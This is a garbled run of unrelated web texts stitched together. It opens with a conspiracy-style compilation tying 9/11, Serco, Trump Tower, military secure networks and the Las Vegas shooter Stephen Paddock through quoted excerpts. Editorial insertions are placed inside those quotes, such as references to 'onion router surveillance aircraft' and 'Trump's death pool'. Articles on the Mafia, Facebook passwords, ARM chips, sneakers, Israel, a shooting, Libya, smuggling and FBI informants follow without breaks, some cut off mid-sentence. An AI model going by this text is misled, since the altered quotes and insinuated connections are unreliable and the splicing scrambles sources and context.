Government communication systems were failing and Bush had to resort to an unsecured line to talk to Washington. Rice said: “Despite all of the sophisticated hierarchy, sophisticated command and control equipment that we had, at that moment much of it didn’t function very well and people instead did whatever they could to communicate messages. And frankly we then had to make it up.
“I think back on the number of cell phones that were probably used to communicate the most sensitive information because somebody was driving in or somebody couldn’t get to a landline.
“And I think how really dangerous that was because if the terrorists were monitoring our communications they would have heard a lot on cell phones.”
Bush gave the order authorising the airforce to shoot down any commercial airliner that was not responding. When United 93 came down, Rice and other officials believed it may have been shot out of the sky.
“Everyone in that room thinks that perhaps it’s been shot down. I got on the phone with somebody at the national military command centre … just saying: ‘You must know whether or not you you’ve shot down a commercial airliner or not.’
“That was just a horrible thought that the American air force would have shot down innocent civilians, that was a horrible thought.
“As I’ve reflected now on what the passengers and crew of, of 93, flight 93 did, first of all there’s a sense of personal gratitude that they may well have saved my life, me personally.
“I also think of what they did for the country because had another plane hit the White House or the capital I just don’t think we had much more capacity to absorb greater shock than we already had.”
• The documentary 9/11: State of Emergency will be broadcast on Channel 4 on Saturday 11 September at 9pm”
“The Canadian contract involved 4 Heron systems, providing 550 hours of surveillance per month. The Ardea partnership that supplies and operates these UAVs for Canada and Australia parallels Britain’s interim lease of Hermes 450 UAVs from the UTaCS consortium of Thales UK and Elbit Systems. The Heron lease involves Elbit’s Israeli rival IAI, and Canadian surveillance & aerospace firm MacDonald, Dettwiler and Associates Ltd. (MDA).”
US Air Force buys counter-drone tech to battle ISIS
It’s not clear whether it’s jamming them or shooting them down.
Steve Dent, @stevetdent
Israeli Aerospace Industries IAI
The Pentagon is purchasing tech from Israeli defense firm that could jam or take down weaponized drones used by ISIS, according to Defense One. The $15.6 million contract was awarded for “man-portable aerial defense systems kits,” something that usually refers to shoulder-fired missiles. However, the USAF department that purchased it is in charge of communications and electronics devices, and the seller, Israeli Aeronautics Industries (IAI), just happens to manufacture a jamming device called “Drone Guard.”
Drone Guard can detect, identify and jam small USAVs using 3D radar and electro-optical sensors. “The jamming disrupts the drone’s flight and either cause it to return to its point-of-origin or to shut down and make a crash landing,” according to the AIA’s press release.
Nice shot of the improvised release mechanism ISIL is using to drop grenades from commercial off the shelf UAVs http://rudaw.net/english/middleeast/iraq/110120171 …
Recent images out of Iraq show that ISIS has used off-the-shelf drones from DJI and others not just for surveillance, but also bombing and one-time “suicide” explosive missions. According to Kurdish media outlet Rudaw, drones have used explosives and bombs to kills civilians and damage equipment. Much worse, Iraqi forces reportedly discovered chemical weapons in an ISIS lab, and may have used them on a drone in Mosul, severely injuring up to a dozen civilians.
The Air Force wouldn’t confirm or deny the purchase, but did tell Defense One that current efforts to counter small drones “are primarily focused on non-kinetic options,” ie, jamming and electronics tech. However, it added that “kinetic options [like missiles and guns] to defeat small UAVs are also being explored.”
The Air Force wants to have an official UAV defense program in place by the end of 2018. As a sign of its importance, It awarded the IAI contract without a bid, calling it a “joint emergent operational need.” That means it’s a current battlefield problem that must be rushed through the system to avoid delays.”
“SERCO: ‘The biggest company you’ve never heard of’
JULY 7, 2013 BY 21WIRE
21st Century Wire says…
As politicians asset-strip the public’s portfolio of properties, infrastructure and services, one multinational corporation has grown as a result – and its scope and reach may shock many people who have not been paying attention.
All around the globe, our governments are busy outsourcing public-sector services like health, education, police, prisons, money delivery and military – to the esteemed private sector. It’s sold to the public as a solution to avoiding higher taxes, while retaining better services. But it’s simply an accountancy shell game, where the government kicks the can down the road by spreading the bill to the taxpayer over a longer period of time, in order to avoid any large upfront payments – all the while, allowing a private corporation to extend its influence over society. This, by definition, is fascism.
They are called SERCO, and they run countries…
As well as thanking God for his success, CEO Chris Hyman is a Pentecostal Christian who has released a gospel album in America and fasts every Tuesday. Coincidentally he was in the World Trade Centre on 9/11 on the 47th floor addressing shareholders.”[including representatives of the British and Saudi Arabian governments]
“Henri de La Croix de Castries (born 15 August 1954) is a French businessman. He has been chairman and CEO of AXA. In March 2016, it was announced that he would retire from both roles on 1 September... From 1980 to 1984, he audited on behalf of the Minister of Finances of France, and in 1984 he became a member of the French Treasury.[1] In 1986, he participated in the privatisation initiated by Jacques Chirac‘s government, including Compagnie Générale d’Electricité, now known as Alcatel-Lucent, and TF1, both on the CAC 40.[1] He started his career at AXA in 1989, when he joined the central financial direction. In 1991, he was appointed general secretary, in charge of restructurations and mergers (integration of Compagnie du Midi). He was appointed general director in 1993, in charge of North America and UK in 1994, and in charge of the merger and integration with Union des assurances de Paris (UAP) in 1996. He served as President of the Board of Equitable (which became AXA Financial) in 1997, and has been Chairman of the Board of Directors since 2000.[4][5]
He lives on the Boulevard Saint-Germain in Paris, and his brother-in-law lives in the same building.[1] He spends his weekends in a castle in Anjou, and one week a month in the United States.[1] He is married and has three children.[1]
In March 2016, it was announced that he would retire from both chairman and CEO roles at AXA on 1 September.[6]
Other roles[edit] In 2010, he served as chairman of the Bilderberg Group‘s steering committee and again in 2017. [7]”
“Serco Combined Resilience Exercising
http://www.epcollege.com/EPC/media/MediaLibrary/Downloads/Gold-Standard.pdf
Types of Exercise Workshop Exercises These are structured discussion events where participants can explore issues in a less pressurized environment.
They are an ideal way of developing solutions, procedures and plans rather than the focus being on decision making. Table Top Exercises These involve a realistic scenario and will follow a time line, either in real-time or with time jumps to concentrate on the more important areas. The participants would be expected to be familiar with the plans and procedures that are being used although the exercise tempo and complexity can be adjusted to suit the current state of training and readiness. Simulation and media play can be used to support the exercise. Table-top exercises help develop teamwork and allow participants to gain a better understanding of their roles and that of other agencies and organisations.
Command/Control Post Exercises These are designed primarily to exercise the senior leadership and support staff in collective planning and decision making within a strategic grouping. Ideally such exercises would be run from the real command and control locations and using their communications and information systems. This could include a mix of locations and varying levels of technical simulation support. The GoldStandard system is flexible to allow the tempo and intensity to be adjusted to ensure maximum training benefit, or to fully test and evaluate the most important aspects of a plan. Such exercises also test information flow, communications, equipment, procedures, decision making and coordination.
Simulation and Media Support The method of delivering an exercise is flexible and will be designed with the client to meet their requirements with options ranging from simple paper-based delivery through to full use of their real communications systems [Red Switch Network and Hawkeye onion router surveillance aircraft] and advance computer simulation [In Trump’s death pool and war room suites]. In addition, media play can also be added in the form of news injects and the provision of experienced journalists and television crews to help test procedures and also assist in training key staff.
Gold Standard Emergency Planning College The Hawkhills, Easingwold, York North Yorkshire, YO61 3EG +44(0) 1347 821406 enquiries@emergencyplanningcollege.com www.epcollege.com“
“Trump Tower is a 58-story, 664-foot-high (202 m) mixed-use skyscraper located at 721–725 Fifth Avenue between 56th and 57th Streets in Midtown Manhattan, New York City. Trump Tower serves as the headquarters for The Trump Organization. Additionally, it houses the penthouse condominium residences of the building’s namesake and developer, U.S. President Donald Trump, who was a businessman and real estate developer when the tower was developed. Several members of the Trump family also reside, or have resided, in the building. The tower stands upon a plot where the flagship store of department-store chain Bonwit Teller was formerly located.
In 1979, construction of the building began, with a design by Der Scutt, of Poor, Swanke, Hayden & Connell, and development by Trump and the Equitable Life Assurance Company (renamed the AXA Equitable Life Insurance Company in 2004). Although it is in one of Midtown Manhattan’s special zoning districts, the tower was approved because it was to be built as a mixed-use development. Trump was permitted to add more stories to the tower because of the atrium on the ground floor. There were controversies during construction, including the destruction of historically important sculptures from the Bonwit Teller store; Trump’s alleged underpaying of contractors; and a lawsuit that Trump filed because the tower was not tax-exempt.
The atrium, apartments, offices, and stores opened on a staggered schedule from February to November 1983. At first, there were few tenants willing to move in to the commercial and retail spaces; the residential units were sold out within months of opening. Since 2016, the tower has seen a large surge in visitation because of Trump’s 2016 presidential campaign and subsequent election—both his 2016 and 2020 campaigns are headquartered in the tower.
Serious issues concerning safety and security in the building arose after Donald Trump was declared as President-elect of the United States on November 8, 2016.[83] Trump Tower had served as a rallying point for the protests against Donald Trump in the days after the election’s results were announced, thus requiring extra deployments of security officials.[84][85] The Federal Aviation Administration imposed a no-fly zone over Trump Tower until January 20, 2017,[86] and the NYPD stated that it was projected to spend $35 million to provide security to the tower, of which $7 million would be repaid by Congress.[87] The NYPD later revised its estimate to $24 million.[88] Street closures were imposed along the east side of Fifth Avenue and on the north side of 56th Street, with NYPD officers stopping and questioning pedestrians on these sidewalks as to their destinations.[89]The block of 56th Street between Fifth and Madison Avenues was closed completely to vehicular traffic, but part of the street west of Madison Avenue was later reopened to allow local deliveries.[90] Customers to the Gucci and Tiffany’s stores in Trump Tower’s lobby were allowed to proceed, while other pedestrians were redirected to the opposite side of the street.[89] During presidential visits, dump trucks from the New York City Department of Sanitation were parked outside the tower to prevent car bombs.[91] The press nicknamed the now-heavily secured building White House North, comparing it to the White House’s West Wing.[14][92][93]”
“Young Leaders Annual Meeting | French-American Foundation https://frenchamerican.org/events/young-leaders-annual-meeting The 2014 Young Leaders meeting will take place on October 8-12, 2014 in Paris and … 400 alumni including former President Bill Clinton, former Secretary of State Hillary … Kosciusko-Morizet, and business leader Henri de Castries (AXA).”
“The Defense Red Switch Network (DRSN) is a dedicated telephone network which provides global secure communication services for the command and control structure of the United States Armed Forces.” The network is maintained by the Defense Information Systems Agency (DISA) and is secured for communications up to the level of Top Secret SCI.
The DRSN provides multilevel secure voice and voice-conferencing capabilities to the National Command Authority (NCA, being the President and the Secretary of Defense of the United States), the Joint Chiefs of Staff, the National Military Command Center (NMCC), Combatant Commanders and their command centers, warfighters, other DoD agencies, government departments, and NATO allies.
Department of Defense and federal government agencies can get access to the network with approval of the Joint Staff.[2] Upon approval by the Joint Staff, DISA will work with the customer and the appropriate military department to arrange the service.[3]
The Defense Red Switch Network consists of four major subsystems: the Switching Subsystem, the Transmission Subsystem, the Timing and Synchronization Subsystem, and the Network Management Subsystem. The Switching Subsystem uses both RED and BLACK switches to provide an integrated RED/BLACK service. End users are provided with a single telephone instrument with which they can access both secure and nonsecure networks.
The DRSN carried around 15,000 calls per day prior to September 11, 2001. DRSN usage subsequently peaked at 45,000 calls per day and by mid-2003 was running at around 25,000 calls per day. In that period the Defense Red Switch Network was expanded to support 18 additional US Federal Homeland Defense initiatives.[4]
Nowadays, this network is also called the Multilevel Secure Voice service. It’s the core of the Global Secure Voice System (GSVS) during peacetime, crisis and time of conventional war, by hosting national-level conferencing and connectivity requirements and providing interoperability with both tactical and strategic communication networks.[5]”
“Serco also integrated voice, video teleconferencing capabilities and situational awareness displays, along with the VDI, into the facility’s network distribution system across multiple networks. The result is an integrated IP-based total capability that is centrally managed and consistent across all platforms. Serco also implemented Defense Red Switch Network (DRSN), completed a structured fiber optic and Category 6 cabling system, and participated in the construction design working group to ensure supporting systems (e.g. Power and HVAC) were able to support the 24 AF’s IT needs.“
“The 67th Cyberspace Wing is a United States Air Force wing stationed at Lackland Air Force Base, Texas. It was activated in October 1993 as a military intelligence unit and is assigned to Twenty-Fourth Air Force. The wing was first activated at March Field as the 67th Reconnaissance Wing as part of the wing base organization system. However, only its 67th Tactical Reconnaissance Group ever became operational and it relied on another wing for support. It was inactivated in the 1949 Truman reductions in the Department of Defense budget. The 67th Cyberspace Wing operates, manages, and defends global Air Force networks. The wing trains and readies airmen to execute computer network exploitation and attack. It also executes full-spectrum Air Force network operations, training, tactics, and management. It provides network operations and network warfare capabilities to Air Force, joint task force, and Unified Combatant Commands. Additionally, it performs electronic systems security assessments for the Air Force.[2] 67th Network Warfare Group Provides forces to conduct Air Force computer network operations for United States Strategic Command, United States Cyber Command and other combatant commands. The group conducts computer network operations and warfare planning for the Air Force, joint task forces and combatant commanders. The group also conducts Secretary of Defense-directed special network warfare missions.[2] 26th Network Operations Group Operates, manages and secures the network battlespace as part of Air Force network operations. It provides battlespace awareness, defense of the Air Force global information grid networks, network support and communications and electronic systems security assessment security of Air Force units.[2] 690th Cyberspace Operations Group Delivers and sustains continuous worldwide network operations and security for air, space and cyberspace forces.[2]”
“The 91st Cyberspace Operations Squadron is an active United States Air Force unit, currently assigned to the 67th Network Warfare Wing at Kelly Annex, part of Lackland Air Force Base, Texas. The 91st delivers cyber warfare capabilities to combatant commanders. It provides the Air Force with manpower. … Redesignated 91st Intelligence Squadron and activated on 1 October 1993 … Inactivated on 5 May 2005 … Redesignated 91st Network Warfare Squadron on 28 June 2007 … Activated on 26 July 2007 … Redesignated 91st Cyberspace Operations Squadron on 1 July 2015[1]”
Please find below the key company advisors to Serco:
Investment Bankers
N M Rothschild & Sons Limited
New Court
St Swithin’s Lane
London
EC4N 8AL
Tel: +44 20 7280 5000
Fax: +44 20 7929 1643
www.rothschild.com“
“UNR Economics Working Paper Series Working Paper No. 07-001 VIP-room Contractual System of Macau’s Traditional Casino Industry Wuyi Wang and William R. Eadington Department of Economics /0030 University of Nevada, Reno Reno, NV 89557-0207 (775) 784-6850│ Fax (775) 784-4728 email: eading@unr.edu January, 2007 Abstract This study provides a systematic analysis of the VIP-room contractual system of Macau’s traditional casino industry. It examines the system’s historical background, its organizational structure, its operational mechanisms, and its role in Macau’s casino industry. This analysis examines the evolving and likely future changes in the VIP-room sector—as well as the mass market sector—caused by the liberalization of Macau’s gaming laws in 2001 and the Free Individual Travelers Scheme, introduced by the Chinese government in 2003. This study develops a framework to explain how the two sectors’ market shares are determined by examining the economic and cultural forces at work. The existing structure of the VIP-room contractual system in Macau’s casino industry will not likely continue in its traditional way, and will be replaced by newly evolving systems consistent with the new competitive realities. However, the VIP business will likely continue in one form or another. … IV. The Main Actors A VIP-room contractual system is organized around four actors: the casino, VIP promoters, Junket operators, and VIP players.”
“Wang, W., & Zabielskis, P. (2010). Making friends, making money: Macau’s traditional VIP casino system. In Kingma, S. F. (Ed.), Global Gambling: Cultural Perspectives on Gambling Organizations (pp.113-143). New York: Routledge, Taylor & Francis Group.”
“As the FBI continues to sift through the past of Las Vegas shooter Stephen Paddock, an investigative focus has developed on how he earned money and the recent travels of Paddock and his girlfriend Marilou Danley, law enforcement officials familiar with the probe told Yahoo.
At least two points of travel interest were recent trips taken to Dubai and Spain, as well as more than 200 reports detailing large financial transactions Paddock made at casinos since 2014. While Danley has family in Dubai, sources told Yahoo that the FBI is seeking to determine details of all overseas trips involving either Paddock or his girlfriend, as well as any financial transactions that may have taken place on the trips.
Paddock killed 59 people and wounded more than 500 when he opened fire Sunday night on a country music festival from his suite on the 32nd floor of the Mandalay Bay Resort and Casino. Police say Paddock committed suicide before they got to his room, where they found a trove of weapons that included high-powered rifles. Las Vegas police said Paddock’s attack lasted between nine to 11 minutes.”
“In 1967 Paddock completed his studies at Richard E. Byrd Middle School, then graduated from John H. Francis Polytechnic High School in 1971,[13] and from California State University, Northridge in 1977, with a degree in business administration.[14] Paddock worked for the federal government from about 1975 to 1985. He was a letter carrier for the U.S. Postal Service from 1976 to 1978. After that, he worked for six years as an Internal Revenue Service agent until 1984. Then, he was a federal auditor for one year, in 1985, focusing on defense contractors. Towards the end of the 1980s, Paddock worked for three years as an internal auditor for a company that later merged to form Lockheed Martin.[15]”
“LAS VEGAS, Oct. 13 (UPI) — Former Secretary of State Alexander Haig Jr. has resigned from the board of MGM Mirage in Las Vegas, the casino said Tuesday.
The MGM Mirage did not give a reason for Haig’s departure. The retired general has served on the MGM Mirage board since May 1990, the Las Vegas Sun reported.
MGM Mirage Chairman and Chief Executive Officer Jim Murren said, “we are tremendously honored that Gen. Haig has played a key role in the direction of our company for the past 19 years.”
“His knowledge and expertise have been instrumental in the success and development of MGM Mirage and we are deeply indebted to him for his contributions to our company,” Murren said.
Haig remains chairman of Worldwide Associates, Inc.
Haig has had a full military and political career, serving as chief of staff for President Richard Nixon and Gerald Ford and Secretary of State under President Ronald Reagan. He also served as Supreme Allied Commander of NATO Forces, 1974-79.”
“The Defense Contract Audit Agency (DCAA) is an agency of the United States Department of Defense under the direction of the Under Secretary of Defense (Comptroller). It was established in 1965 to perform all contract audits for the Department of Defense. Previously, the various branches of military service were responsible for their own contract audits.
The DCAA’s duties include financial and accounting advisory services |
the one in the rear which is only used by attorneys and prosecutors. It’s located in a secure area of the building and to get there you have to cross an area closed to the public. It is even monitored by cameras. When investigators tried to check the recorded video for images of the person who planted the bug, however, they found that the tape had been tampered with. It ran in a loop, covering the time of the supposed planting with old recordings.
But the courageous prosecutors won’t budge. In turn, Cosa Nostra is becoming even bolder. Last week, Viola’s office was broken into and files may have been stolen, police said.
Prosecutor Viola’s main target is Messina Denaro. Viola’s office is located in Trapani, Messina Denaro’s territory and powerbase. Though there is no hard evidence of the Mafia boss’ involvement in any of these incidents it is unlikely he did not know of or approve these actions. His name will be mentioned in any article dealing with these threats so if they were committed without his approval it is certain he would make sure they ceased by stopping the person responsible for bringing unwanted attention to his operations.
It is much more likely that Messina Denaro is pushing the boundaries of Provenzano’s strategy of laying low and resolving conflicts without violence. Each threat becoming more intimidating until the threat of violence is no longer enough. Only the act of real violence will get Cosa Nostra bosses the results they crave. It won’t, of course, but they will think otherwise, ignoring all the lessons of the past.
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Copyright © www.gangstersinc.nlThe controversial -- if not exactly common -- practice of requiring job applicants to disclose their Facebook passwords briefly became ammunition for an unsuccessful Democratic effort to block an unrelated regulatory reform plan.
During the House of Representatives floor debate yesterday over a proposal (PDF) to reform the Federal Communications Commission, Rep. Ed Perlmutter, a Colorado Democrat, proposed that the bill be sent back to committee.
U.S. House of Representatives
Then, Perlmutter proposed, the committee would be directed to send the bill back with a one-paragraph amendment allowing the FCC to prohibit telecommunications companies from requiring Facebook logins of prospective job applicants.
"If you are a Facebook user, you should never have to share your password... People have an expectation of privacy!" Perlmutter said.
It was a transparent, if clever, delaying tactic. If Perlmutter actually wanted to add that pro-privacy section to the bill, he could have suggested an amendment instead of returning it to committee. And of the scarce reports that have trickled out about employers asking for Facebook credentials, the culprits seem mostly to be law enforcement agencies, which are not regulated by the FCC and would be unaffected by his bill.
Some background: the White House and House Democrats oppose the Republican-backed bill, titled the Federal Communications Commission Process Reform Act of 2012, on the grounds that it's unacceptable to require the currently Democratic-controlled agency to be more transparent and prepare economic impact analyses. A statement (PDF) the White House released on Monday complains the GOP bill would prevent the FCC from exercising "its statutory duty to protect the public interest."
Rep. Greg Walden, the Oregon Republican who chairs a communications and technology subcommittee, responded to Perlmutter during the floor debate by saying:
I think it's awful that employers think they can demand our passwords and can go snooping around. There is no disagreement with that. Here is the flaw: Your amendment doesn't protect them. It doesn't do that. Actually, what this amendment does is say that all of the reforms that we are trying to put in place at the Federal Communications Commission, in order to have them have an open and transparent process where they are required to publish their rules in advance so that you can see what they're proposing, would basically be shoved aside. They could do whatever they wanted on privacy if they wanted to, and you wouldn't know it until they published their text afterward. There is no protection here.
Perlmutter, by the way, isn't exactly a steadfast advocate of Americans' electronic privacy rights. He voted for legislation, for instance, designed to derail lawsuits against telecommunications companies that illegally opened their networks to the National Security Agency's vast eavesdropping apparatus. He also didn't seem that familiar with the problem he was claiming to solve, referring during the discussion to "the user of the Facebook."
Facebook last week warned that companies making such requests may not have the right policies or training in place to deal with private information they obtain. The practice has also attracted some negative attention in the Senate (and advocacy groups like the Electronic Privacy Information Center say a law preventing employers from doing this would be a good idea).
The House ended up rejecting Perlmutter's amendment by a largely party-line vote of 184 to 236. Then the underlying bill, the FCC reform measure itself, was approved by a vote of 247 to 174. It has not, however, cleared the U.S. Senate.One of the first companies that announced an ARM server chip, Calxeda, has folded operations and is now pursuing ways to repurpose or sell its intellectual property.
Calxeda commenced operations under the name Smooth-Stone in 2008 and raised more than $100 million [M] in capital from companies including ARM Holdings. The company early on conceived the idea of ARM processors as being low-power and cheaper alternative to x86 chips from Intel and Advanced Micro Devices (AMD), which are used in most servers today.
In 2011, it announced it was developing ARM-based chips with up to 480 cores for low-power servers. Its chip was used in servers from Boston Ltd. and was due in Hewlett-Packard’s Moonshot system later this year.
”The concept of a fabric of ARM-based servers challenging the industry giants was not on anyone’s radar screen when we started this journey. Now it is a foregone conclusion that the industry will be transformed forever,” Calxeda said in a statement sent via email.
Calxeda failed to find additional financing, and its board voted to shut down operations to preserve capital, said Karl Freund, vice president of marketing, in an interview.
Most of Calxeda’s 130 employees will be laid off, except for a skeleton crew that will deal with creditors and figure out how to proceed with the company’s intellectual property.
”We’re very proud of what we accomplished here,” Freund said. “It’s sad we couldn’t complete the job.”
AMD will start shipping ARM chips in the first quarter of next year, and AppliedMicro recently started taking orders for a developer board with its unreleased and ARM-based X-Gene chip. Both of those companies are putting their energy into developing 64-bit ARM processors, which are more relevant to servers. Calxeda had 64-bit ARM chips in the pipeline but ran out of funds.
Calxeda was “too early for ARM servers,” said Nathan Brookwood, principal analyst at Insight 64.
”They spent a lot of money of 32-bit ARM servers. The server market doesn’t want 32 bits,” Brookwood said.
But Calxeda’s departure doesn’t mean the end of ARM server chips, Brookwood said.
”Of the companies visible, AMD clearly has the lead,” Brookwood said. Samsung could get into the 64-bit ARM server chip market in 2014, he said.
Calxeda’s former employees could find jobs soon, Brookwood said. There are many opportunities for people with experience on the ARM architecture, which is used in most smartphones and tablets today.Rookie is an online magazine and book series for teenagers. Each month, a different editorial theme drives the writing, photography, and artwork that we publish. Learn more about us here, and find out how to submit your work here!
Rookie is no longer publishing new content, but we hope you'll continue to enjoy the archives, or books, and the community you've helped to create. Thank you for seven very special years! ✴
This week on the Rookie Podcast: Tavi interviews Ella Yelich-O’Connor, a.k.a. Lorde, in the second half of their conversation about her new album, Melodrama. Their chat covers the house parties that inspired Ella’s new sound, what she was listening to while writing the new album, and what it’s like to feel lonely and connected at the same time. Plus: United Nations Special Advisor on Global Education Ziauddin Yousafzai, also Malala’s father, gives Ask a Grown advice to Rookie readers and listeners. Also, in this episode, Rookie contributor Naomi Morris gives us a Starter Pack on modern poetry. Listen on iTunes, Spotify, Google Play, or Stitcher! ♦Nike Air Max 90 ICE – Black – Cool Grey – Blue
4.34 / 5 40 VOTES This post contains references to products from one or more of our advertisers. We may receive compensation when you click on links to those products. The opinions and information provided on this site are original editorial content of Sneaker News.
Heading into the 25th anniversary of the Nike Air Max 90 next year, budding iterations like the Air Max 90 ICE truly showcase the evolution of the silhouette over the past two and a half decades. A sleek approach to this otherwise simplistic style, this new scheme set to launch in a matter of days highlights a smooth no sew upper in black with an ICE outer gleaming in blue beneath. Swoosh branding in Cool Grey make for the perfect contrast while the patterned base adds distinction to the illuminate sneaker. Look for the release on Saturday, December 6th both in-store and online at retailers including Footpatrol.
Source: Footpatrol
Nike Air Max 90 ICE
Color: Black/Cool Grey-Anthracite-Black
Style Code: 718304-001
Release Date: 12/6/14
Price: $150Later this week, Secretary of State John Kerry is going to Israel to follow up on so-called “peace talks.”
“We and the parties remain focused on our goal of achieving a permanent agreement which ends the conflict and all claims, and creates peace between the Israelis and the Palestinians,” the State Department said last week.
Peace eh? Juan Cole provides a round-up of recent Israeli actions to help illustrate how the government of Benjamin Netanyahu understands “peace” with the Palestinians:
That’s a hell of a lot of peace-makin. Everything listed above quite deliberately undermines the prospects for a viable Palestinian state, which is supposedly what negotiations are based upon.
The only thing on the list that has received any media attention at all is the newest plans for settlement construction, which are illegal. Settlement construction rose by 70 percent in 2013. In the process, Israel destroyed more than 500 Palestinian homes in West Bank and East Jerusalem, displacing 862 people.
Netanyahu’s reaction to the complaints? In a Likud party meeting on Sunday, Bibi said “the Palestinians knew we would build in the course of the negotiations” and they are just seeking to create “an artificial crisis.”
All the U.S. has had to say is that they don’t think settlements “create a positive environment for negotiations.” Never mind them being illegal and never mind the fact that continued U.S. support for Israel is what enables these flagrant violations of international law in the first place.
Everything Israel carries out in occupied Palestinian territory demonstrates clearly that they intend to annex the West Bank and rob Palestinians of what fraction of their own land they still have left.
According to the New Republic, Netanyahu’s Deputy Minister of Defense Danny Danon said of the West Bank “We have rights to the land.”
“We won,” he explained. “When you win, you keep what you won.”
While all that goes on, the U.S. and Israel continue to utter the word “peace.”Can you name all 18 players to score on their PL debut for Man Utd?
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Eighteen different players have scored on their Premier League debut for Manchester United – but how many of them can you name?
We’ve given you 10 minutes and have listed the club each player scored against and the year.
Good luck, and don’t forget to tweet us your scores @planetfutebol.
Note: If you’re having problems attempting the quiz, play it on the Sporcle website.
Can you name Manchester United’s top PL goalscorer for every initial?
Can you name Man Utd’s 20 youngest Premier League debutants?
Can you name every player to score a hat-trick in the PL for Man Utd?
Can you name the top Premier League goalscorer for every nationality?A man shot four people dead in Washington state before committing suicide during a police stand-off. Among the victims are two children believed to be adopted from a foreign country initially thought to be Russia.
The assailant called police himself on Friday, saying he had shot his family in their house in a rural area near the town of Belfair in Mason County.
Upon arriving, police held negotiations with the man for about three hours before Special Weapons and Tactics (SWAT) team decided to storm the house. The killer committed suicide.
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Along with the attacker’s body, police found four more dead people, as well as a surviving 12-year-old girl, who was taken to hospital. All of the victims are thought to be members of the killer’s family.
“It’s a terrible tragedy,” Mason County Sheriff Casey Salisbury said, as cited by US media.
The shooter had been married to the woman he killed for four or five years, neighbor Jack Pigott told the New York Times. The woman had two children from a previous marriage who had been adopted from a foreign country, initially thought to be Russia. Both teenagers were killed in the shooting.
“I was told by the police department, police investigators that the two boys were of Russian nationality,” Mason County Coroner Jane Pentz told Sputnik.
“The names [after adoption] of the two boys are Tory Carlson, his birthday was April 4, 1997. Second boy was Quinn Carlson, his birthday was May 13, 1999,” she added.
She also said that US authorities would share information concerning the incident with Russian diplomatic authorities.
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The Russian Foreign Ministry, however, said that it has not yet obtained any information about the citizenship of the killed children. Russian consulate-general officials in Seattle went to the Mason County sheriff’s office to get details on the incident, a Russian diplomatic mission spokesman said, as cited by RIA Novosti.
According to various reports, the children may have been adopted from Russia, Belarus, Kazakhstan or Ukraine.
Russia has often criticized US authorities for neglecting to check up on the welfare of children adopted from abroad. In 2012, Russia passed the so-called Dima Yakovlev Law banning adoptions of Russian children by American parents and imposing sanctions on people involved in violating the fundamental rights and freedoms of Russian citizens. The law followed an incident in which 21-month-old Dima Yakovlev died after being left alone in a hot car.Mustafa Abdul-Jalil, the chairman of the National Transitional Council and de fact president, had already declared that Libyan laws in future would have Sharia, the Islamic code, as its "basic source".
But that formulation can be interpreted in many ways - it was also the basis of Egypt's largely secular constitution under President Hosni Mubarak, and remains so after his fall.
Mr Abdul-Jalil went further, specifically lifting immediately, by decree, one law from Col. Gaddafi's era that he said was in conflict with Sharia - that banning polygamy.
In a blow to those who hoped to see Libya's economy integrate further into the western world, he announced that in future bank regulations would ban the charging of interest, in line with Sharia. "Interest creates disease and hatred among people," he said.
Gulf states like the United Arab Emirates, and other Muslim countries, have pioneered the development of Sharia-compliant banks which charge fees rather than interest for loans but they normally run alongside western-style banks.
In the first instance, interest on low-value loans would be waived altogether, he said.
Libya is already the most conservative state in north Africa, banning the sale of alcohol. Mr Abdul-Jalil's decision - made in advance of the introduction of any democratic process - will please the Islamists who have played a strong role in opposition to Col Gaddafi's rule and in the uprising but worry the many young liberal Libyans who, while usually observant Muslims, take their political cues from the West.CTV Montreal
Police arrested nearly 60 people Wednesday in Quebec and Ontario as they broke up an international money laundering ring.
In what the Sureté du Quebec is calling Operation Tarantula (Mygale), officers have spent months investigating an organized crime ring spanning North America, South America, and Europe.
It culminated in 70 raids Wednesday in Ste. Therese, St. Marthe sur le lac, in the Six Nations reserve in Ontario, and in other areas near Montreal.
Police said the head of the ring, Sylvain Ethier, 40, was arrested in Ste. Therese.
The SQ later said that after warrants were issued for three Kahnawake residents, those people presented themselves at a police station and were arrested, so raids were not conducted in Kahnawake.
Police said biker gangs collaborated with aboriginal criminals to buy tobacco in the United States and then smuggle it into Canada, where it was sold in Kahnawake and the Six Nations.
"We can say as far now they were related to biker gang organizations, organized crime," said Frederic Gaudreault of the SQ.
"They were really structured. They had contacts everywhere in the legal side of it also, in transportation."
The SQ said it seized 52,800 kg of tobacco worth $13.5 million. However police said the criminal gang smuggled more than 2 million kg of tobacco between August 2014 and March 2016.
They also seized more than $1.5 million in Canadian cash, nearly $3 million in U.S. currency, 836 kg of cocaine, 21 kg of methamphetamine, and 35 lb of marijuana.
The SQ said it worked with the RCMP, Ontario Provincial Police, the Drug Enforcement Administration and local police forces in 15 cities including Montreal.In such a way is the road to hell paved with (alleged) good intentions.
If one thinks this through, it becomes clear that the FBI policy makers have confused thought and action. This is a very Judeo-Christian thing to do.
Entrapment as Government Policy
Here is an important question: What single organization is responsible for more terror plots in the USA than any other? Possible answers: Al Qaida. That would no doubt be the popular answer but it would be wrong. The KKK. Way past their prime, so that is not it. The Jewish Defense League. Good guess, but still not it. So what is the correct answer? It is the Federal Bureau of Investigation, AKA the FBI. Don’t believe me? Well, just read Trevor Aaronson’s expose entitled “The Informants” published in the September/October 2011 issue of Mother Jones.
Aaronson looked at over 500 terrorism related cases taken up by the FBI and found that over half of them involved the Bureau’s stable of 15,000 informants.
Many of these are ex-felons and con men who are often paid well if their efforts result in an arrest and conviction. So what, you might say. Using informants to obtain information about criminal activity is an old and legitimate tactic. Yes, however, that approach to information gathering is not exactly how the FBI uses all of its informants. Indeed, the Bureau has a program, misnamed “prevention” which encourages its agents to get creative in the use of informants. How creative? Well, if they can’t find any terrorist activity going on, they have their informants instigate some. Where are they doing this? Mainly in our country’s Muslim communities.
According to the Mother Jones story the FBI has concluded that Al-Qaeda as an organization is no longer a major threat to the US. The threat now comes from the “lone wolf,” the person who is angry at or frustrated by their life situation and open to the influence of terrorist rhetoric. Allegedly, the American Muslim community is full of these “lone wolves” just sitting out there fuming, aching to vent their anger on a myriad array of significant and insignificant targets. As the FBI’s logic goes, sooner or later a lot of these people will find the courage to act. So, the role of the informant is to find these folks and nab them before they blow up a Christmas tree in Portland Oregon. Here is a typical scenario:
1. FBI informant A is assigned, in Aaronson’s words, to “troll the mosques” of some American Muslim community. They might work this area for months looking for those angry, frustrated types. Gadeir Abbas, Staff Attorney for the Council on American-Islamic Relations (CAIR), says they may hit upon some fellows living “on the fringes of society.” These people are often poor and unsettled, with only a rudimentary knowledge if Islam, and usually quite gullible.
